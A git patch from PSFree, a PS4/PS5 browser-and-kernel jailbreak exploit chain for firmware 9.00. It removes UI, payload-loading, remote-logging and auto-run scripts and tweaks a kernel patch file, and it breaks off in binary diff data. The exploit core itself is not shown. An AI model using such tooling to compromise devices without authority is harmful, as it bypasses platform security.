From d3aa804f370850e7236d3640e5fcb88117c4feb8 Mon Sep 17 00:00:00 2001 From: Kameleon <77245601+kmeps4@users.noreply.github.com> Date: Tue, 20 May 2025 06:58:46 -0600 Subject: [PATCH] Revert UI --- README.md | 24 +-- css/styles.css | 242 ----------------------- index.html | 115 ++--------- js/payload-manager.js | 124 ------------ js/remote-logger.js | 336 ------------------------------- js/ui.js | 449 ------------------------------------------ kpatch/900.c | 2 +- kpatch/900.elf | Bin 5272 -> 5288 bytes kpatch/900.o | Bin 1864 -> 1912 bytes lapse.mjs | 441 +++++++---------------------------------- module/utils.mjs | 28 +-- package-lock.json | 6 - payload.js | 72 +------ 13 files changed, 102 insertions(+), 1737 deletions(-) delete mode 100644 css/styles.css delete mode 100644 js/payload-manager.js delete mode 100644 js/remote-logger.js delete mode 100644 js/ui.js delete mode 100644 package-lock.json diff --git a/README.md b/README.md index 9367724..6455077 100644 --- a/README.md +++ b/README.md @@ -1,29 +1,13 @@ # PSFree version 1.5.0 -Lapse Kex ported to 9.00 - WIP +Lapse Kex ported to 9.00 - Still WIP Very fast and reliable but can KP :P -"Please note that this project is still in the beta phase, with stability at approximately 50%. If the exploit encounters an error, please restart the console and try again. Use this exploit at your own risk." - - - -TODO: +- Needs a bin loader. - Some performance Tweaks??. - - -Payload Loader will look for payload.bin provided on this repo, you can swap it with another payload. -PR are welcome!!! - -Credits: -- Jhon https://github.com/janisslsm -- SiSTR0 https://github.com/SiSTR0 -- CTN https://github.com/ctn123 -- Al-Azif https://github.com/al-azif -- abc for PSFree webkit exploit & Lapse kernel Exploit -- Chendochap https://github.com/ChendoChap -- kameleonre.. for porting and chaining psfree + lapse on ps4 9.00 :P +PR are welcome PSFree is a collection of exploits for the PS4 console. The main focus of the repo is for the PS4 but we try to make things portable to PS5. @@ -32,7 +16,7 @@ repo is for the PS4 but we try to make things portable to PS5. * PSFree: src/psfree.mjs * Lapse (kernel): src/scripts/lapse.mjs -Developer [abc] Donation (Monero/XMR): +Donation (Monero/XMR): 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS # COPYRIGHT AND AUTHORS: diff --git a/css/styles.css b/css/styles.css deleted file mode 100644 index 8f1bde2..0000000 --- a/css/styles.css +++ /dev/null @@ -1,242 +0,0 @@ -/* - * PSFree Enhanced UI Styles - * Compatible with PS4 FW 9.00 Browser - * TODO: Optimize for PS4 display and controller navigation - */ - -body { - font-family: 'Liberation Mono', monospace; - margin: 0; - padding: 20px; - background-color: #0d1117; - color: #e6edf3; -} - -.container { - max-width: 900px; - margin: 0 auto; -} - -.header { - text-align: center; - margin-bottom: 20px; - padding-bottom: 10px; - border-bottom: 1px solid #30363d; -} - -.header h1 { - margin: 0; - color: #58a6ff; -} - -.header p { - margin: 5px 0; - color: #8b949e; -} - -.card { - background-color: #161b22; - border-radius: 6px; - padding: 15px; - margin-bottom: 20px; - border: 1px solid #30363d; -} - -.card-title { - margin-top: 0; - color: #58a6ff; - border-bottom: 1px solid #30363d; - padding-bottom: 10px; -} - -.btn { - background-color: #238636; - color: white; - border: none; - padding: 8px 16px; - border-radius: 6px; - cursor: pointer; - font-weight: bold; - transition: background-color 0.2s; -} - -.btn:hover { - background-color: #2ea043; -} - -.btn:disabled { - background-color: #3c4043; - cursor: not-allowed; -} - -.btn-danger { - background-color: #da3633; -} - -.btn-danger:hover { - background-color: #f85149; -} - -.progress-container { - width: 100%; - background-color: #30363d; - border-radius: 4px; - margin: 10px 0; -} - -.progress-bar { - height: 10px; - background-color: #238636; - border-radius: 4px; - width: 0%; - transition: width 0.3s; -} - -#console { - background-color: #0d1117; - border: 1px solid #30363d; - border-radius: 6px; - padding: 10px; - height: 300px; - overflow-y: auto; - font-family: 'Liberation Mono', monospace; - white-space: pre-wrap; - color: #e6edf3; -} - -.status-indicator { - display: inline-block; - width: 12px; - height: 12px; - border-radius: 50%; - margin-right: 5px; -} - -.status-waiting { - background-color: #8b949e; -} - -.status-running { - background-color: #f0883e; -} - -.status-success { - background-color: #56d364; -} - -.status-error { - background-color: #f85149; -} - -.tabs { - display: flex; - margin-bottom: 10px; -} - -.tab { - padding: 8px 16px; - cursor: pointer; - background-color: #161b22; - border: 1px solid #30363d; - border-bottom: none; - border-radius: 6px 6px 0 0; - margin-right: 5px; -} - -.tab.active { - background-color: #0d1117; - border-bottom: 1px solid #0d1117; - position: relative; - top: 1px; -} - -.tab-content { - display: none; - padding: 15px; - background-color: #0d1117; - border: 1px solid #30363d; - border-radius: 0 6px 6px 6px; -} - -.tab-content.active { - display: block; -} - -.payload-item { - display: flex; - align-items: center; - padding: 10px; - border: 1px solid #30363d; - border-radius: 6px; - margin-bottom: 10px; -} - -.payload-item.selected { - border-color: #58a6ff; - background-color: rgba(88, 166, 255, 0.1); -} - -.payload-info { - flex-grow: 1; - margin-left: 10px; -} - -.tooltip { - position: relative; - display: inline-block; - cursor: help; -} - -.tooltip .tooltip-text { - visibility: hidden; - width: 200px; - background-color: #30363d; - color: #e6edf3; - text-align: center; - border-radius: 6px; - padding: 5px; - position: absolute; - z-index: 1; - bottom: 125%; - left: 50%; - margin-left: -100px; - opacity: 0; - transition: opacity 0.3s; -} - -.tooltip:hover .tooltip-text { - visibility: visible; - opacity: 1; -} - -/* PS4 specific optimizations */ -@media screen and (max-width: 1920px) and (max-height: 1080px) { - .container { - max-width: 1600px; - } - - #console { - height: 400px; - } - - .btn { - padding: 12px 24px; - font-size: 18px; - } - - .tab { - padding: 12px 24px; - font-size: 18px; - } -} - -/* Focus styles for controller navigation */ -.btn:focus, .tab:focus, .payload-item:focus { - outline: 3px solid #58a6ff; -} - -/* Highlight the currently focused element for controller navigation */ -.controller-focus { - outline: 3px solid #58a6ff !important; - box-shadow: 0 0 10px rgba(88, 166, 255, 0.5); -} diff --git a/index.html b/index.html index 119d914..7ab8be9 100644 --- a/index.html +++ b/index.html @@ -15,115 +15,28 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . --> - - - PSFree v1.5.0 - PS4/PS5 Exploit - - + + PSFree-Lapse Exploit For 9.00 -
-
-

PSFree v1.5.0

-

PS4/PS5 Exploit Chain

-
- -
-

Status

-
-

Running exploit...

-
-
-
-
- -
- -
-
Console
- -
- -
-

-            
- - - - -
-

About PSFree

-

PSFree is an exploit chain for PS4 and PS5.

-

Current version: 1.5.0

-

Supported firmware:

-
    -
  • PS4: 5.00 - 12.50
  • -
  • PS5: 1.00 - 10.20
  • -
-

PSFree uses:

-
    -
  • WebKit exploit (CVE-2022-22620)
  • -
  • Lapse kernel exploit
  • -
-

See JavaScript license info for source code and license details.

-

Donations (Monero/XMR):
- 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS

-
- -
-

Quick Guide

-
    -
  1. Open this page in the PS4 browser
  2. -
  3. The exploit will run automatically
  4. -
  5. Wait for the process to complete
  6. -
  7. If successful, the payload will run automatically
  8. -
-

Note: If a Kernel Panic occurs, power off the console (do not restart) and try again.

-

Important: This website uses the default payload located in the root folder.

-
-
- - - - - - - + PSFree: A PS4/PS5 Exploit Chain
+ Donation (Monero/XMR):
+ 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
+ See JavaScript license information for the + source code and license.
+

     
+    
+    
 
diff --git a/js/payload-manager.js b/js/payload-manager.js
deleted file mode 100644
index 389275d..0000000
--- a/js/payload-manager.js
+++ /dev/null
@@ -1,124 +0,0 @@
-/**
- * PSFree Payload Manager
- * Compatible with PS4 FW 9.00 Browser
- * TODO: Add support for multiple payloads and payload verification
- */
-
-// Global state for payloads
-window.payloadState = {
-    defaultPayload: null,
-    customPayloads: {},
-    selectedPayload: 'payload.bin'
-};
-
-// Function to load the default payload
-function loadDefaultPayload() {
-    console.log('Loading default payload...');
-    
-    fetch('./payload.bin')
-        .then(response => {
-            if (!response.ok) {
-                throw new Error('Failed to load default payload');
-            }
-            return response.arrayBuffer();
-        })
-        .then(arrayBuffer => {
-            window.payloadState.defaultPayload = new Uint32Array(arrayBuffer);
-            window.pld = window.payloadState.defaultPayload; // For backward compatibility
-            console.log('Default payload loaded successfully');
-            
-            // Dispatch event for UI to update
-            document.dispatchEvent(new CustomEvent('payloadLoaded', {
-                detail: {
-                    name: 'payload.bin',
-                    size: arrayBuffer.byteLength
-                }
-            }));
-        })
-        .catch(error => {
-            console.error('Error loading default payload:', error);
-            
-            // Dispatch event for UI to update
-            document.dispatchEvent(new CustomEvent('payloadError', {
-                detail: {
-                    name: 'payload.bin',
-                    error: error.message
-                }
-            }));
-        });
-}
-
-// Function to load a custom payload
-function loadCustomPayload(name, arrayBuffer) {
-    console.log(`Loading custom payload: ${name}`);
-    
-    try {
-        const payload = new Uint32Array(arrayBuffer);
-        window.payloadState.customPayloads[name] = payload;
-        
-        console.log(`Custom payload "${name}" loaded successfully`);
-        
-        // Dispatch event for UI to update
-        document.dispatchEvent(new CustomEvent('customPayloadLoaded', {
-            detail: {
-                name: name,
-                size: arrayBuffer.byteLength
-            }
-        }));
-        
-        return true;
-    } catch (error) {
-        console.error(`Error loading custom payload "${name}":`, error);
-        
-        // Dispatch event for UI to update
-        document.dispatchEvent(new CustomEvent('payloadError', {
-            detail: {
-                name: name,
-                error: error.message
-            }
-        }));
-        
-        return false;
-    }
-}
-
-// Function to select a payload
-function selectPayload(name) {
-    console.log(`Selecting payload: ${name}`);
-    
-    if (name === 'payload.bin') {
-        if (window.payloadState.defaultPayload) {
-            window.pld = window.payloadState.defaultPayload;
-            window.payloadState.selectedPayload = name;
-            return true;
-        }
-        return false;
-    } else if (window.payloadState.customPayloads[name]) {
-        window.pld = window.payloadState.customPayloads[name];
-        window.payloadState.selectedPayload = name;
-        return true;
-    }
-    
-    return false;
-}
-
-// Function to get the currently selected payload
-function getSelectedPayload() {
-    const name = window.payloadState.selectedPayload;
-    
-    if (name === 'payload.bin') {
-        return window.payloadState.defaultPayload;
-    } else {
-        return window.payloadState.customPayloads[name];
-    }
-}
-
-// Initialize by loading the default payload
-loadDefaultPayload();
-
-// Export functions to window for access from other scripts
-window.payloadManager = {
-    loadCustomPayload,
-    selectPayload,
-    getSelectedPayload
-};
diff --git a/js/remote-logger.js b/js/remote-logger.js
deleted file mode 100644
index 91af6f9..0000000
--- a/js/remote-logger.js
+++ /dev/null
@@ -1,336 +0,0 @@
-/**
- * PSFree Remote Logger
- *
- * Remote logging system for PSFree that sends logs to a local server
- * to monitor exploit progress in real-time.
- *
- * TODO: Add automatic reconnect feature if the connection is lost
- */
-
-// Logger configuration
-const RemoteLogger = {
-    // Server configuration
-    config: {
-        // Logging server URL (replace with your computer's IP)
-        serverUrl: 'http://192.168.1.100:3000',
-        // Whether logging is enabled
-        enabled: true,
-        // Whether to also print logs to the local console
-        localConsole: true,
-        // Minimum log level to be sent (0=DEBUG, 1=INFO, 2=WARN, 3=ERROR)
-        minLevel: 0,
-        // Unique ID for this logging session
-        sessionId: generateSessionId(),
-        // Device information
-        deviceInfo: {
-            userAgent: navigator.userAgent,
-            firmware: detectFirmware(),
-            timestamp: new Date().toISOString()
-        },
-        // Buffer to store logs if connection is lost
-        logBuffer: [],
-        // Maximum buffer size
-        maxBufferSize: 100,
-        // Connection status
-        connected: false
-    },
-
-    // Log levels
-    LEVEL: {
-        DEBUG: 0,
-        INFO: 1,
-        WARN: 2,
-        ERROR: 3
-    },
-
-    // Initialize the logger
-    init: function(customConfig = {}) {
-        // Merge default config with custom config
-        this.config = { ...this.config, ...customConfig };
-
-        // Try to auto-detect server IP if not configured
-        if (this.config.serverUrl === 'http://192.168.1.100:3000') {
-            this.autoDetectServerIp();
-        }
-
-        // Send session info to the server
-        this.sendSessionInfo();
-
-        // Override the original console.log function
-        this.overrideConsoleLog();
-
-        // Initialization log
-        this.info('Remote Logger initialized', {
-            config: {
-                serverUrl: this.config.serverUrl,
-                sessionId: this.config.sessionId,
-                deviceInfo: this.config.deviceInfo
-            }
-        });
-
-        return this;
-    },
-
-    // Try to auto-detect server IP
-    autoDetectServerIp: function() {
-        // List of commonly used IPs in local networks
-        const commonIps = [
-            'http://192.168.1.100:3000',
-            'http://192.168.1.101:3000',
-            'http://192.168.1.102:3000',
-            'http://192.168.1.103:3000',
-            'http://192.168.1.104:3000',
-            'http://192.168.1.105:3000',
-            'http://192.168.0.100:3000',
-            'http://192.168.0.101:3000',
-            'http://192.168.0.102:3000',
-            'http://192.168.0.103:3000',
-            'http://192.168.0.104:3000',
-            'http://192.168.0.105:3000',
-            'http://10.0.0.100:3000',
-            'http://10.0.0.101:3000',
-            'http://10.0.0.102:3000'
-        ];
-
-        // Try pinging each IP to find an active server
-        for (const ip of commonIps) {
-            fetch(`${ip}/ping`, {
-                method: 'GET',
-                mode: 'no-cors',
-                cache: 'no-cache',
-                headers: {
-                    'Content-Type': 'application/json'
-                },
-                timeout: 500
-            })
-            .then(() => {
-                // If successful, use this IP
-                this.config.serverUrl = ip;
-                this.info(`Server found at ${ip}`);
-            })
-            .catch(() => {
-                // If failed, try the next IP
-            });
-        }
-    },
-
-    // Send session info to the server
-    sendSessionInfo: function() {
-        if (!this.config.enabled) return;
-
-        // Create URL with query parameters to avoid CORS issues with body
-        const sessionData = {
-            sessionId: this.config.sessionId,
-            deviceInfo: JSON.stringify(this.config.deviceInfo),
-            timestamp: new Date().toISOString()
-        };
-
-        // Create query string from data
-        const queryString = Object.keys(sessionData)
-            .map(key => `${encodeURIComponent(key)}=${encodeURIComponent(sessionData[key])}`)
-            .join('&');
-
-        // Send request using GET method and query parameters
-        fetch(`${this.config.serverUrl}/session?${queryString}`, {
-            method: 'GET',
-            mode: 'no-cors',
-            cache: 'no-cache'
-        })
-        .then(() => {
-            this.config.connected = true;
-
-            // Success log
-            if (this.config.localConsole) {
-                console.log(`Connected to logging server at ${this.config.serverUrl}`);
-                console.log(`Session ID: ${this.config.sessionId}`);
-            }
-
-            // Send logs stored in buffer
-            this.flushBuffer();
-        })
-        .catch(error => {
-            this.config.connected = false;
-            if (this.config.localConsole) {
-                console.error('Failed to connect to logging server:', error);
-            }
-        });
-    },
-
-    // Override the original console.log functions
-    overrideConsoleLog: function() {
-        const originalLog = console.log;
-        const originalWarn = console.warn;
-        const originalError = console.error;
-        const self = this;
-
-        console.log = function(...args) {
-            if (self.config.localConsole) {
-                originalLog.apply(console, args);
-            }
-
-            self.debug(args.map(arg => {
-                if (typeof arg === 'object') {
-                    return JSON.stringify(arg);
-                }
-                return arg;
-            }).join(' '));
-        };
-
-        console.warn = function(...args) {
-            if (self.config.localConsole) {
-                originalWarn.apply(console, args);
-            }
-
-            self.warn(args.map(arg => {
-                if (typeof arg === 'object') {
-                    return JSON.stringify(arg);
-                }
-                return arg;
-            }).join(' '));
-        };
-
-        console.error = function(...args) {
-            if (self.config.localConsole) {
-                originalError.apply(console, args);
-            }
-
-            self.error(args.map(arg => {
-                if (typeof arg === 'object') {
-                    return JSON.stringify(arg);
-                }
-                return arg;
-            }).join(' '));
-        };
-    },
-
-    // Send log to server
-    sendLog: function(level, message, data = {}) {
-        if (!this.config.enabled || level < this.config.minLevel) return;
-
-        const logEntry = {
-            sessionId: this.config.sessionId,
-            timestamp: new Date().toISOString(),
-            level: level,
-            levelName: Object.keys(this.LEVEL).find(key => this.LEVEL[key] === level),
-            message: message,
-            data: JSON.stringify(data)
-        };
-
-        // If not connected, save to buffer
-        if (!this.config.connected) {
-            this.bufferLog(logEntry);
-            return;
-        }
-
-        // Create query string from log data
-        const queryString = Object.keys(logEntry)
-            .map(key => `${encodeURIComponent(key)}=${encodeURIComponent(logEntry[key])}`)
-            .join('&');
-
-        // Send log to server using GET method
-        fetch(`${this.config.serverUrl}/log?${queryString}`, {
-            method: 'GET',
-            mode: 'no-cors',
-            cache: 'no-cache'
-        })
-        .catch(error => {
-            this.config.connected = false;
-            this.bufferLog(logEntry);
-            if (this.config.localConsole) {
-                console.error('Failed to send log to server:', error);
-            }
-        });
-    },
-
-    // Save log in buffer if connection is lost
-    bufferLog: function(logEntry) {
-        this.config.logBuffer.push(logEntry);
-
-        // If buffer is too large, remove oldest logs
-        if (this.config.logBuffer.length > this.config.maxBufferSize) {
-            this.config.logBuffer.shift();
-        }
-    },
-
-    // Send all buffered logs
-    flushBuffer: function() {
-        if (!this.config.connected || this.config.logBuffer.length === 0) return;
-
-        for (const log of this.config.logBuffer) {
-            this.sendLog(log.level, log.message, log.data ? JSON.parse(log.data) : {});
-        }
-
-        this.config.logBuffer = [];
-    },
-
-    // Logging functions
-    debug: function(message, data = {}) {
-        this.sendLog(this.LEVEL.DEBUG, message, data);
-    },
-
-    info: function(message, data = {}) {
-        this.sendLog(this.LEVEL.INFO, message, data);
-    },
-
-    warn: function(message, data = {}) {
-        this.sendLog(this.LEVEL.WARN, message, data);
-    },
-
-    error: function(message, data = {}) {
-        this.sendLog(this.LEVEL.ERROR, message, data);
-    },
-
-    // Log exploit stage
-    logStage: function(stage, percent, details = {}) {
-        this.info(`STAGE: ${stage}`, {
-            stage: stage,
-            percent: percent,
-            details: details
-        });
-
-        // Dispatch event for UI
-        document.dispatchEvent(new CustomEvent('exploitProgress', {
-            detail: {
-                stage: stage,
-                percent: percent
-            }
-        }));
-    }
-};
-
-// Function to generate unique session ID
-function generateSessionId() {
-    return 'xxxx-xxxx-xxxx-xxxx'.replace(/[x]/g, () => {
-        const r = Math.random() * 16 | 0;
-        return r.toString(16);
-    });
-}
-
-// Function to detect firmware
-function detectFirmware() {
-    const userAgent = navigator.userAgent;
-    let firmware = null;
-
-    // Detect PS4 firmware
-    const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
-    if (ps4Match && ps4Match[1]) {
-        firmware = {
-            console: 'PS4',
-            version: ps4Match[1]
-        };
-    }
-
-    // Detect PS5 firmware
-    const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
-    if (ps5Match && ps5Match[1]) {
-        firmware = {
-            console: 'PS5',
-            version: ps5Match[1]
-        };
-    }
-
-    return firmware;
-}
-
-// Export RemoteLogger to window
-window.RemoteLogger = RemoteLogger;
diff --git a/js/ui.js b/js/ui.js
deleted file mode 100644
index 8920458..0000000
--- a/js/ui.js
+++ /dev/null
@@ -1,449 +0,0 @@
-/**
- * PSFree Enhanced UI
- * Compatible with PS4 FW 9.00 Browser
- * TODO: Implement controller navigation and optimize for PS4 display
- */
-
-// Status constants
-const STATUS = {
-    WAITING: 'waiting',
-    RUNNING: 'running',
-    SUCCESS: 'success',
-    ERROR: 'error'
-};
-
-// Global state
-let state = {
-    status: STATUS.RUNNING, // Changed from WAITING to RUNNING because it auto-runs
-    progress: 0,
-    selectedPayload: 'payload.bin', // Always uses the default payload
-    customPayloads: [],
-    settings: {
-        autoRun: true, // Changed to true for auto-run
-        verboseLogging: false,
-        safeMode: true
-    },
-    controllerNavigation: {
-        enabled: false,
-        currentFocusIndex: 0,
-        focusableElements: []
-    }
-};
-
-// TODO: Exploit will run automatically when the page loads
-
-// Original console.log function
-const originalLog = console.log;
-
-// Override console.log to also update the UI
-console.log = function(...args) {
-    // Call original console.log
-    originalLog.apply(console, args);
-
-    // Update UI console
-    const message = args.map(arg => {
-        if (typeof arg === 'object') {
-            return JSON.stringify(arg);
-        }
-        return arg;
-    }).join(' ');
-
-    appendToConsole(message);
-};
-
-// Function to append text to the console
-function appendToConsole(text) {
-    const consoleElement = document.getElementById('console');
-    if (consoleElement) {
-        consoleElement.textContent += text + '\n';
-        consoleElement.scrollTop = consoleElement.scrollHeight;
-    }
-}
-
-// Function to clear the console
-function clearConsole() {
-    const consoleElement = document.getElementById('console');
-    if (consoleElement) {
-        consoleElement.textContent = '';
-    }
-}
-
-// Function to update the UI status
-function updateStatus(status, message) {
-    state.status = status;
-
-    const statusIcon = document.getElementById('status-icon');
-    const statusText = document.getElementById('status-text');
-
-    if (!statusIcon || !statusText) return;
-
-    // Remove all status classes
-    statusIcon.classList.remove('status-waiting', 'status-running', 'status-success', 'status-error');
-
-    // Add the appropriate class
-    statusIcon.classList.add(`status-${status}`);
-
-    // Update the status text
-    statusText.textContent = message;
-
-    // TODO: Exploit run and reset buttons have been removed
-}
-
-// Function to update the progress bar
-function updateProgress(percent) {
-    state.progress = percent;
-    const progressBar = document.getElementById('progress-bar');
-    if (progressBar) {
-        progressBar.style.width = `${percent}%`;
-    }
-}
-
-// Function to handle tab switching
-function switchTab(tabId) {
-    // Hide all tab contents
-    document.querySelectorAll('.tab-content').forEach(content => {
-        content.classList.remove('active');
-    });
-
-    // Deactivate all tabs
-    document.querySelectorAll('.tab').forEach(tab => {
-        tab.classList.remove('active');
-    });
-
-    // Activate the selected tab and content
-    const tabContent = document.getElementById(`tab-${tabId}`);
-    const tabElement = document.querySelector(`.tab[data-tab="${tabId}"]`);
-
-    if (tabContent && tabElement) {
-        tabContent.classList.add('active');
-        tabElement.classList.add('active');
-    }
-}
-
-// Function to add a custom payload
-function addCustomPayload(name, data) {
-    const payloadList = document.getElementById('payload-list');
-    if (!payloadList) return;
-
-    // Create a new payload item
-    const payloadItem = document.createElement('div');
-    payloadItem.className = 'payload-item';
-    payloadItem.dataset.payload = name;
-    payloadItem.setAttribute('tabindex', '0'); // Make focusable for controller navigation
-
-    // Create the payload content
-    payloadItem.innerHTML = `
-        
-        
- -

Custom payload (${formatBytes(data.byteLength)})

-
- - `; - - // Add the payload to the list - payloadList.appendChild(payloadItem); - - // Store the payload data - state.customPayloads.push({ - name: name, - data: data - }); - - // Save to localStorage - saveCustomPayloads(); - - // Update controller navigation - updateFocusableElements(); -} - -// Function to format bytes to human-readable format -function formatBytes(bytes, decimals = 2) { - if (bytes === 0) return '0 Bytes'; - - const k = 1024; - const dm = decimals < 0 ? 0 : decimals; - const sizes = ['Bytes', 'KB', 'MB', 'GB']; - - const i = Math.floor(Math.log(bytes) / Math.log(k)); - - return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i]; -} - -// Function to save custom payloads to localStorage -function saveCustomPayloads() { - try { - // We can only store the names in localStorage, not the actual binary data - const payloadNames = state.customPayloads.map(p => p.name); - localStorage.setItem('customPayloadNames', JSON.stringify(payloadNames)); - } catch (e) { - console.log('Error saving custom payloads to localStorage:', e); - } -} - -// Function to save settings to localStorage -function saveSettings() { - try { - localStorage.setItem('settings', JSON.stringify(state.settings)); - console.log('Settings saved'); - } catch (e) { - console.log('Error saving settings to localStorage:', e); - } -} - -// Function to load settings from localStorage -function loadSettings() { - try { - const savedSettings = localStorage.getItem('settings'); - if (savedSettings) { - state.settings = JSON.parse(savedSettings); - - // Update UI to reflect loaded settings - const autoRunElement = document.getElementById('auto-run'); - const verboseLoggingElement = document.getElementById('verbose-logging'); - const safeModeElement = document.getElementById('safe-mode'); - - if (autoRunElement) autoRunElement.checked = state.settings.autoRun; - if (verboseLoggingElement) verboseLoggingElement.checked = state.settings.verboseLogging; - if (safeModeElement) safeModeElement.checked = state.settings.safeMode; - } - } catch (e) { - console.log('Error loading settings from localStorage:', e); - } -} - -// Function to detect firmware version -function detectFirmware() { - const userAgent = navigator.userAgent; - let firmware = null; - - // Detect PS4 firmware - const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/); - if (ps4Match && ps4Match[1]) { - firmware = { - console: 'PS4', - version: ps4Match[1] - }; - } - - // Detect PS5 firmware - const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/); - if (ps5Match && ps5Match[1]) { - firmware = { - console: 'PS5', - version: ps5Match[1] - }; - } - - return firmware; -} - -// Function to check browser compatibility -function checkCompatibility() { - const userAgent = navigator.userAgent; - let isCompatible = true; - let message = ''; - - // Check if running on PS4/PS5 browser - if (userAgent.includes('PlayStation 4') || userAgent.includes('PlayStation 5')) { - console.log('PlayStation browser detected. Optimal compatibility.'); - - // Enable controller navigation if on PlayStation - state.controllerNavigation.enabled = true; - } else { - console.log('WARNING: Not running in PlayStation browser. Some features may not work.'); - isCompatible = false; - message = 'Not running in PlayStation browser'; - } - - // Check specific firmware version - const firmware = detectFirmware(); - if (firmware) { - console.log(`Detected ${firmware.console} FW ${firmware.version}`); - - if (firmware.console === 'PS4' && firmware.version === '9.00') { - console.log('Detected PS4 FW 9.00. Optimal compatibility.'); - } - } - - return { isCompatible, message, firmware }; -} - -// Function to run the exploit -function runExploit() { - updateStatus(STATUS.RUNNING, 'Running exploit...'); - updateProgress(5); - - // Clear the console if not in verbose mode - if (!state.settings.verboseLogging) { - clearConsole(); - } - - console.log('Starting PSFree exploit...'); - - // The actual exploit will be triggered here via the import of lapse.mjs - // This is handled by the original code in index.html - - // Listen for exploit progress events - document.addEventListener('exploitProgress', function(event) { - updateProgress(event.detail.percent); - }); - - // Listen for exploit status events - document.addEventListener('exploitStatus', function(event) { - updateStatus(event.detail.status, event.detail.message); - }); -} - -// Function to reset the exploit -function resetExploit() { - updateStatus(STATUS.WAITING, 'Ready to start'); - updateProgress(0); - - if (!state.settings.verboseLogging) { - clearConsole(); - } - - console.log('Exploit reset. Ready to start again.'); - - // Reload the page to reset everything - if (confirm('The page will reload to reset the exploit. Continue?')) { - window.location.reload(); - } -} - -// Function to update focusable elements for controller navigation -function updateFocusableElements() { - if (!state.controllerNavigation.enabled) return; - - // Get all focusable elements - state.controllerNavigation.focusableElements = Array.from(document.querySelectorAll('button, .tab, .payload-item, input[type="checkbox"]')); - - // Reset focus index - state.controllerNavigation.currentFocusIndex = 0; -} - -// Function to handle controller navigation -function handleControllerNavigation(event) { - if (!state.controllerNavigation.enabled) return; - - const elements = state.controllerNavigation.focusableElements; - let currentIndex = state.controllerNavigation.currentFocusIndex; - - // Handle navigation with D-pad - switch (event.key) { - case 'ArrowUp': - currentIndex = Math.max(0, currentIndex - 1); - break; - case 'ArrowDown': - currentIndex = Math.min(elements.length - 1, currentIndex + 1); - break; - case 'ArrowLeft': - // If in tabs, navigate between tabs - if (elements[currentIndex].classList.contains('tab')) { - const tabs = Array.from(document.querySelectorAll('.tab')); - const tabIndex = tabs.indexOf(elements[currentIndex]); - if (tabIndex > 0) { - currentIndex = elements.indexOf(tabs[tabIndex - 1]); - } - } else { - currentIndex = Math.max(0, currentIndex - 1); - } - break; - case 'ArrowRight': - // If in tabs, navigate between tabs - if (elements[currentIndex].classList.contains('tab')) { - const tabs = Array.from(document.querySelectorAll('.tab')); - const tabIndex = tabs.indexOf(elements[currentIndex]); - if (tabIndex < tabs.length - 1) { - currentIndex = elements.indexOf(tabs[tabIndex + 1]); - } - } else { - currentIndex = Math.min(elements.length - 1, currentIndex + 1); - } - break; - case 'Enter': - // Simulate click on the focused element - elements[currentIndex].click(); - return; - } - - // Update focus - if (currentIndex !== state.controllerNavigation.currentFocusIndex) { - // Remove focus from all elements - elements.forEach(el => { - el.classList.remove('controller-focus'); - }); - - // Add focus to the current element - elements[currentIndex].classList.add('controller-focus'); - elements[currentIndex].focus(); - - // Update current index - state.controllerNavigation.currentFocusIndex = currentIndex; - } -} - -// Setup event listeners -function setupEventListeners() { - // Tab switching - only for console tab - document.querySelectorAll('.tab').forEach(tab => { - tab.addEventListener('click', () => { - switchTab(tab.dataset.tab); - }); - }); - - // TODO: Run exploit, reset, upload payload, and settings buttons have been removed - - // Controller navigation - document.addEventListener('keydown', handleControllerNavigation); - - // Custom events from exploit - document.addEventListener('exploitProgress', function(event) { - updateProgress(event.detail.percent); - }); - - document.addEventListener('exploitStatus', function(event) { - updateStatus(event.detail.status, event.detail.message); - }); - - // Payload events - document.addEventListener('payloadLoaded', function(event) { - console.log(`Payload loaded: ${event.detail.name} (${formatBytes(event.detail.size)})`); - }); - - document.addEventListener('payloadError', function(event) { - console.log(`Error loading payload ${event.detail.name}: ${event.detail.error}`); - updateStatus(STATUS.ERROR, `Error loading payload: ${event.detail.error}`); - }); -} - -// Initialize the UI -function initUI() { - console.log('Initializing PSFree UI...'); - - // Load settings - loadSettings(); - - // Setup event listeners - setupEventListeners(); - - // Check compatibility - checkCompatibility(); - - // Update focusable elements for controller navigation - updateFocusableElements(); - - // Always run exploit automatically - setTimeout(() => { - console.log('Automatically running exploit...'); - runExploit(); - }, 1000); - - console.log('UI initialized. Exploit will auto-run.'); - - // TODO: Exploit will always auto-run without conditions -} - -// Initialize when the DOM is fully loaded -document.addEventListener('DOMContentLoaded', initUI); diff --git a/kpatch/900.c b/kpatch/900.c index 5468a4a..2ff5a67 100644 --- a/kpatch/900.c +++ b/kpatch/900.c @@ -35,7 +35,7 @@ void restore(struct kexec_args *uap); __attribute__((section (".text.start"))) int kpatch(void *td, struct kexec_args *uap) { do_patch(); - //restore(uap); Disable to backtrace + restore(uap); return 0; } diff --git a/kpatch/900.elf b/kpatch/900.elf index f41b7debf38d85fe4086646c2e2d939d518c7bc1..a38fa6b29ce522f871cba606f666f29f17bcfd66 100644 GIT binary patch delta 304 zcmbQCxk7V-2IGr~n&yTV7#Y9-Ml%RN_yJE#Qdoe@HG&ZS8lXB(5P##uVt(;pkIv68 zyn$Sg&igOef%FcLs_4yp0;Y_UJp>gJ*8Kbb-v%TG1RxU)fcOef>>Ee`2qb{m1&A|% zVlp5BS3ZGerZ7GZAd^v=*?PhM|NohR>=2;*6Ck?)NbdpCAagGO>4^s=Cf^XWU|cg< zP)J-d0;m$?IGE|mK(-JABZJIjM&G00Ks7X6qII|NjSR 